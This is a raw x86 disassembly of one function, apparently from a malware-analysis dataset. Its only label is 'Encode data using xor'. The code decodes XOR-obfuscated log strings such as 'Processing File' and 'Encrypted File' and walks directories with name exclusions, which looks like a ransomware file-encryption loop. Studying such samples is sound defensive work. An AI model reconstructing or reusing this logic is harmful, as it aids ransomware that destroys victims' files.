Function at 0x40fcc0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x364
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [esp + 0x64], 0
mov al, byte [edi + 2]
lea esi, [edi + 8]
push esi
mov byte [esp + 0xcc], al
call dword [0x42524c]
test al, 0x10
je 0x4106ae
push dword [0x425800]
call dword [0x425254]
push eax
call dword [0x4252c0]
mov al, byte [edi + 1]
mov ecx, 0xf6
mov bl, byte [edi]
mov byte [esp + 0x63], al
lea eax, [esp + 0x68]
mov dword [esp + 0x6c], eax
mov dword [esp + 0x68], eax
xor eax, eax
mov byte [esp + 0x13], bl
mov dword [esp + 0x18], 0x9300b4
mov dword [esp + 0x1c], 0x9f0091
mov dword [esp + 0x20], 0xd60098
mov dword [esp + 0x24], 0x9800b3
mov dword [esp + 0x28], 0x9b0083
mov dword [esp + 0x2c], 0x840093
mov dword [esp + 0x30], 0x820097
mov dword [esp + 0x34], 0x99009f
mov dword [esp + 0x38], 0xcc0098
mov dword [esp + 0x3c], 0xd300d6
mov dword [esp + 0x40], 0xf60085
xor word [esp + eax*2 + 0x18], cx
inc eax
cmp eax, 0x16
jb 0x40fd81
push esi
lea eax, [esp + 0x1c]
push eax
push 0
call fcn.0040b980
add esp, 0xc
push esi
call dword [0x4252e0]
lea esi, [eax*2 + 0x10]
push esi
push 8
push dword [0x425ba8]
call dword [0x425358]
mov edi, eax
mov dword [esp + 0xc4], edi
test edi, edi
jne 0x40fdf7
jmp 0x40fdd0
push 0x80
call dword [0x425428]
push esi
push 8
push dword [0x425ba8]
call dword [0x425358]
mov edi, eax
mov dword [esp + 0xc4], eax
test edi, edi
je 0x40fdd0
mov eax, dword [ebp + 8]
add eax, 8
push eax
lea eax, [edi + 8]
push eax
call dword [0x425278]
mov eax, dword [esp + 0x68]
lea ecx, [esp + 0x68]
mov dword [edi], eax
mov dword [edi + 4], ecx
mov dword [eax + 4], edi
mov eax, ecx
mov dword [esp + 0x68], edi
cmp edi, eax
je 0x410208
test bl, bl
jne 0x40fe32
lea ecx, [edi + 8]
call fcn.0040e750
lea eax, [esp + 0x70]
mov dword [esp + 0x70], 0x2a
lea ebx, [edi + 8]
push eax
push ebx
mov dword [esp + 0x124], ebx
call dword [0x425410]
lea eax, [esp + 0x120]
push eax
push ebx
call dword [0x4252cc]
mov esi, eax
mov dword [esp + 0x14], esi
cmp esi, 0xffffffff
je 0x4101d4
push 0x2a
push ebx
call dword [0x425040]
add esp, 8
xor ecx, ecx
mov word [eax], cx
nop
cmp word [esp + 0x14c], 0x2e
je 0x4101af
mov eax, dword [esp + 0x120]
test eax, 0x404
jne 0x4101af
test al, 0x10
je 0x40ff7e
cmp dword [0x425964], 0
je 0x40feba
test al, 2
jne 0x4101af
mov esi, dword [0x425578]
cmp word [esi], 0
je 0x40fef0
push esi
lea eax, [esp + 0x150]
push eax
call dword [0x425304]
test eax, eax
je 0x4101ab
push esi
call dword [0x4252e0]
lea esi, [esi + eax*2]
add esi, 2
cmp word [esi], 0
jne 0x40fec6
push ebx
call dword [0x4252e0]
mov esi, eax
lea eax, [esp + 0x14c]
push eax
call dword [0x4252e0]
add eax, esi
lea esi, [eax*2 + 0x12]
push esi
push 8
push dword [0x425ba8]
call dword [0x425358]
mov edi, eax
test edi, edi
jne 0x40ff45
push 0x80
call dword [0x425428]
push esi
push 8
push dword [0x425ba8]
call dword [0x425358]
mov edi, eax
test edi, edi
je 0x40ff25
push ebx
lea esi, [edi + 8]
push esi
call dword [0x425278]
lea eax, [esp + 0x14c]
push eax
push esi
call dword [0x425410]
push esi
call dword [0x4252ec]
mov eax, dword [esp + 0x6c]
lea ecx, [esp + 0x68]
mov dword [edi], ecx
mov dword [edi + 4], eax
mov dword [eax], edi
mov dword [esp + 0x6c], edi
jmp 0x4101ab
cmp byte [esp + 0x63], 0
je 0x40ffd8
lea eax, [esp + 0x14c]
push eax
call dword [0x42522c]
cmp word [eax], 0
je 0x4101af
mov esi, dword [0x425574]
cmp word [esi], 0
je 0x4101ab
lea edi, [eax + 2]
push esi
push edi
call dword [0x425304]
test eax, eax
je 0x40ffd4
push esi
call dword [0x4252e0]
lea esi, [esi + eax*2]
add esi, 2
cmp word [esi], 0
jne 0x40ffb0
jmp 0x4101ab
mov esi, dword [esp + 0x14]
lea ecx, [esp + 0x14c]
call fcn.0040e670
test al, al
jne 0x4101af
lea eax, [esp + 0x14c]
push eax
call dword [0x42522c]
cmp word [eax], 0
je 0x410046
lea edi, [eax + 2]
push str.Synapse
push edi
call dword [0x425304]
test eax, eax
je 0x4101af
mov esi, dword [0x42583c]
cmp word [esi], 0
je 0x410046
push esi
push edi
call dword [0x425304]
test eax, eax
je 0x4101ab
push esi
call dword [0x4252e0]
lea esi, [esi + eax*2]
add esi, 2
cmp word [esi], 0
jne 0x410023
cmp dword [esp + 0x140], 0
jne 0x41005e
cmp dword [esp + 0x13c], 0
je 0x4101ab
push ebx
call dword [0x4252e0]
mov esi, eax
lea eax, [esp + 0x14c]
push eax
call dword [0x4252e0]
add eax, esi
lea edi, [eax*2 + 2]
push edi
push 8
push dword [0x425ba8]
call dword [0x425358]
mov esi, eax
test esi, esi
jne 0x4100b3
push 0x80
call dword [0x425428]
push edi
push 8
push dword [0x425ba8]
call dword [0x425358]
mov esi, eax
test esi, esi
je 0x410093
push ebx
push esi
call dword [0x425278]
lea eax, [esp + 0x14c]
push eax
push esi
call dword [0x425410]
mov ecx, esi
call fcn.00418030
mov ecx, esi
call fcn.0040ecc0
test al, al
je 0x41019c
push esi
call dword [0x4252e0]
lea ebx, [eax*2 + 0x80]
push ebx
push 8
push dword [0x425ba8]
call dword [0x425358]
mov edi, eax
test edi, edi
jne 0x410123
push 0x80
call dword [0x425428]
push ebx
push 8
push dword [0x425ba8]
call dword [0x425358]
mov edi, eax
test edi, edi
je 0x410103
push esi
push edi
call dword [0x425278]
cmp byte [esp + 0x13], 0
jne 0x410144
mov edx, edi
mov ecx, esi
call fcn.0040f070
cmp dword [0x425974], 0
jne 0x410186
lea eax, [esp + 0x64]
mov ecx, edi
push eax
push dword [esp + 0xcc]
lea edx, [esp + 0x154]
call fcn.0040f2f0
add esp, 8
test al, al
je 0x41016c
lock inc dword [esp + 0x64]
jmp 0x410186
cmp byte [esp + 0xc8], 0
je 0x41017f
lock inc dword [0x425a04]
jmp 0x410186
lock inc dword [0x4259a8]
push edi
push 0
push dword [0x425ba8]
call dword [0x425290]
mov ebx, dword [esp + 0x11c]
push esi
push 0
push dword [0x425ba8]
call dword [0x425290]
mov esi, dword [esp + 0x14]
lea eax, [esp + 0x120]
push eax
push esi
call dword [0x425230]
test eax, eax
jne 0x40fe80
push esi
call dword [0x4252f8]
mov edi, dword [esp + 0xc4]
mov eax, dword [edi + 4]
mov ecx, dword [edi]
push edi
push 0
push dword [0x425ba8]
mov dword [eax], ecx
mov dword [ecx + 4], eax
call dword [0x425290]
mov edi, dword [esp + 0x68]
lea eax, [esp + 0x68]
mov bl, byte [esp + 0x13]
mov dword [esp + 0xc4], edi
cmp edi, eax
jne 0x40fe26
test bl, bl
jne 0x4102db
cmp dword [0x425974], 0
je 0x4102db
mov ebx, 0x9a
mov dword [esp + 0x18], 0x9900b5
mov dword [esp + 0x1c], 0x86009b
mov ecx, 0xf6
mov dword [esp + 0x20], 0x93009a
xor eax, eax
mov dword [esp + 0x24], 0x930082
mov dword [esp + 0x28], 0xd60092
lea edi, [ebx + 0x16]
mov dword [esp + 0x2c], 0x9300a4
mov dword [esp + 0x30], 0x970098
mov dword [esp + 0x34], 0x9f009b
mov dword [esp + 0x38], 0x910098
mov dword [esp + 0x3c], 0xb700d6
mov dword [esp + 0x40], 0x9a009a
mov dword [esp + 0x44], 0xb000d6
mov dword [esp + 0x48], 0x9a009f
mov dword [esp + 0x4c], 0x850093
mov dword [esp + 0x50], 0xb900d6
mov dword [esp + 0x54], 0xcc0098
mov dword [esp + 0x58], 0xd300d6
mov dword [esp + 0x5c], 0xf60085
lea esp, [esp]
xor word [esp + eax*2 + 0x18], cx
inc eax
cmp eax, 0x24
jb 0x4102c0
mov eax, dword [ebp + 8]
add eax, 8
push eax
lea eax, [esp + 0x1c]
jmp 0x410484
mov edx, dword [ebp + 8]
mov ebx, 0x9a
xor eax, eax
lea edi, [ebx + 0x16]
lea ecx, [ebx + 0x5c]
cmp byte [edx + 1], al
je 0x4103dc
mov dword [esp + 0x76], 0x9900b5
mov dword [esp + 0x7a], 0x86009b
mov dword [esp + 0x7e], 0x93009a
mov dword [esp + 0x82], 0x930082
mov dword [esp + 0x86], 0xd60092
mov dword [esp + 0x8a], 0x9300a5
mov dword [esp + 0x8e], 0x840097
mov dword [esp + 0x92], 0x9e0095
mov dword [esp + 0x96], 0x98009f
mov dword [esp + 0x9a], 0xd60091
mov dword [esp + 0x9e], 0x9700ba
mov dword [esp + 0xa2], 0x910084
mov dword [esp + 0xa6], 0xd60093
mov dword [esp + 0xaa], 0x9f00b0
mov dword [esp + 0xae], 0x93009a
mov dword [esp + 0xb2], 0xd60085
mov dword [esp + 0xb6], 0x9800b9
mov dword [esp + 0xba], 0xd600cc
mov dword [esp + 0xbe], 0x8500d3
mov word [esp + 0xc2], cx
xor word [esp + eax*2 + 0x76], cx
inc eax
cmp eax, 0x27
jb 0x4103c4
lea eax, [edx + 8]
push eax
lea eax, [esp + 0x7a]
jmp 0x410484
mov dword [esp + 0x18], 0x9900b5
mov dword [esp + 0x1c], 0x86009b
mov dword [esp + 0x20], 0x93009a
mov dword [esp + 0x24], 0x930082
mov dword [esp + 0x28], 0xd60092
mov dword [esp + 0x2c], 0x9300a5
mov dword [esp + 0x30], 0x840097
mov dword [esp + 0x34], 0x9e0095
mov dword [esp + 0x38], 0x98009f
mov dword [esp + 0x3c], 0xd60091
mov dword [esp + 0x40], 0x9a00b7
mov dword [esp + 0x44], 0xd6009a
mov dword [esp + 0x48], 0x9f00b0
mov dword [esp + 0x4c], 0x93009a
mov dword [esp + 0x50], 0xd60085
mov dword [esp + 0x54], 0x9800b9
mov dword [esp + 0x58], 0xd600cc
mov dword [esp + 0x5c], 0x8500d3
mov word [esp + 0x60], cx
xor word [esp + eax*2 + 0x18], cx
inc eax
cmp eax, 0x25
jb 0x410471
lea eax, [edx + 8]
push eax
lea eax, [esp + 0x1c]
push eax
push 0
call fcn.0040b980
add esp, 0xc
nop
push 0x80
call dword [0x425428]
xor ecx, ecx
lea edx, [esp + 0x64]
xor eax, eax
lock cmpxchg dword [edx], ecx
test eax, eax
jne 0x410490
cmp byte [esp + 0x13], al
jne 0x4104bd
cmp dword [0x425974], eax
jne 0x41085d
mov edx, dword [ebp + 8]
xor eax, eax
mov ecx, 0xf6
cmp byte [edx + 1], al
je 0x4105ce
mov dword [esp + 0xcc], 0x9900b5
mov dword [esp + 0xd0], 0x86009b
mov dword [esp + 0xd4], 0x93009a
mov dword [esp + 0xd8], 0x930082
mov dword [esp + 0xdc], 0xd60092
mov dword [esp + 0xe0], 0x9800b3
mov dword [esp + 0xe4], 0x840095
mov dword [esp + 0xe8], 0x86008f
mov dword [esp + 0xec], 0x9f0082
mov dword [esp + 0xf0], 0x910098
mov dword [esp + 0xf4], 0xba00d6
mov dword [esp + 0xf8], 0x840097
mov dword [esp + 0xfc], 0x930091
mov dword [esp + 0x100], 0xb000d6
mov dword [esp + 0x104], 0x9a009f
mov dword [esp + 0x108], 0x850093
mov dword [esp + 0x10c], 0xb900d6
mov dword [esp + 0x110], 0xcc0098
mov dword [esp + 0x114], 0xd300d6
mov dword [esp + 0x118], 0xf60085
lea esp, [esp]
xor word [esp + eax*2 + 0xcc], cx
inc eax
cmp eax, 0x28
jb 0x4105b0
lea eax, [edx + 8]
push eax
lea eax, [esp + 0xd0]
jmp 0x410852
mov dword [esp + 0x76], 0x9900b5
mov dword [esp + 0x7a], 0x86009b
mov dword [esp + 0x7e], 0x93009a
mov dword [esp + 0x82], 0x930082
mov dword [esp + 0x86], 0xd60092
mov dword [esp + 0x8a], 0x9800b3
mov dword [esp + 0x8e], 0x840095
mov dword [esp + 0x92], 0x86008f
mov dword [esp + 0x96], 0x9f0082
mov dword [esp + 0x9a], 0x910098
mov dword [esp + 0x9e], 0xb700d6
mov dword [esp + 0xa2], 0x9a009a
mov dword [esp + 0xa6], 0xb000d6
mov dword [esp + 0xaa], 0x9a009f
mov dword [esp + 0xae], 0x850093
mov dword [esp + 0xb2], 0xb900d6
mov dword [esp + 0xb6], 0xcc0098
mov dword [esp + 0xba], 0xd300d6
mov dword [esp + 0xbe], 0xf60085
xor word [esp + eax*2 + 0x76], cx
inc eax
cmp eax, 0x26
jb 0x410696
lea eax, [edx + 8]
push eax
lea eax, [esp + 0x7a]
jmp 0x410852
mov ecx, esi
call fcn.0040ecc0
test al, al
je 0x41085d
mov dword [esp + 0x18], 0x8400a6
mov ecx, 0xf6
mov dword [esp + 0x1c], 0x950099
xor eax, eax
mov dword [esp + 0x20], 0x850093
mov dword [esp + 0x24], 0x9f0085
mov dword [esp + 0x28], 0x910098
mov dword [esp + 0x2c], 0xb000d6
mov dword [esp + 0x30], 0x9a009f
mov dword [esp + 0x34], 0xcc0093
mov dword [esp + 0x38], 0xd300d6
mov dword [esp + 0x3c], 0xf60085
xor word [esp + eax*2 + 0x18], cx
inc eax
cmp eax, 0x14
jb 0x410714
push esi
lea eax, [esp + 0x1c]
push eax
push 0
call fcn.0040b980
add esp, 0xc
mov ecx, esi
call fcn.00418030
push esi
call dword [0x42517c]
test eax, eax
je 0x41085d
lea ecx, [esp + 0x64]
mov edx, eax
push ecx
push dword [esp + 0xcc]
mov ecx, esi
call fcn.0040f2f0
add esp, 8
test al, al
je 0x41085d
lock inc dword [esp + 0x64]
lea ebx, [ebx]
push 0x80
call dword [0x425428]
xor ecx, ecx
lea edx, [esp + 0x64]
xor eax, eax
lock cmpxchg dword [edx], ecx
test eax, eax
jne 0x410770
push esi
call dword [0x4252e0]
lea edi, [eax*2 + 0x80]
push edi
push 8
push dword [0x425ba8]
call dword [0x425358]
mov esi, eax
test esi, esi
jne 0x4107d0
mov edi, edi
push 0x80
call dword [0x425428]
push edi
push 8
push dword [0x425ba8]
call dword [0x425358]
mov esi, eax
test esi, esi
je 0x4107b0
mov edi, dword [ebp + 8]
mov edx, esi
add edi, 8
mov ecx, edi
call fcn.0040f070
push esi
push 0
push dword [0x425ba8]
call dword [0x425290]
mov ecx, 0xf6
mov dword [esp + 0x18], 0x9800b3
mov dword [esp + 0x1c], 0x840095
xor eax, eax
mov dword [esp + 0x20], 0x86008f
mov dword [esp + 0x24], 0x930082
mov dword [esp + 0x28], 0xd60092
mov dword [esp + 0x2c], 0x9f00b0
mov dword [esp + 0x30], 0x93009a
mov dword [esp + 0x34], 0xd600cc
mov dword [esp + 0x38], 0x8500d3
mov word [esp + 0x3c], cx
xor word [esp + eax*2 + 0x18], cx
inc eax
cmp eax, 0x13
jb 0x410842
push edi
lea eax, [esp + 0x1c]
push eax
push 0
call fcn.0040b980
add esp, 0xc
mov eax, dword [ebp + 8]
cmp byte [eax + 3], 0
je 0x410875
push eax
push 0
push dword [0x425ba8]
call dword [0x425290]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4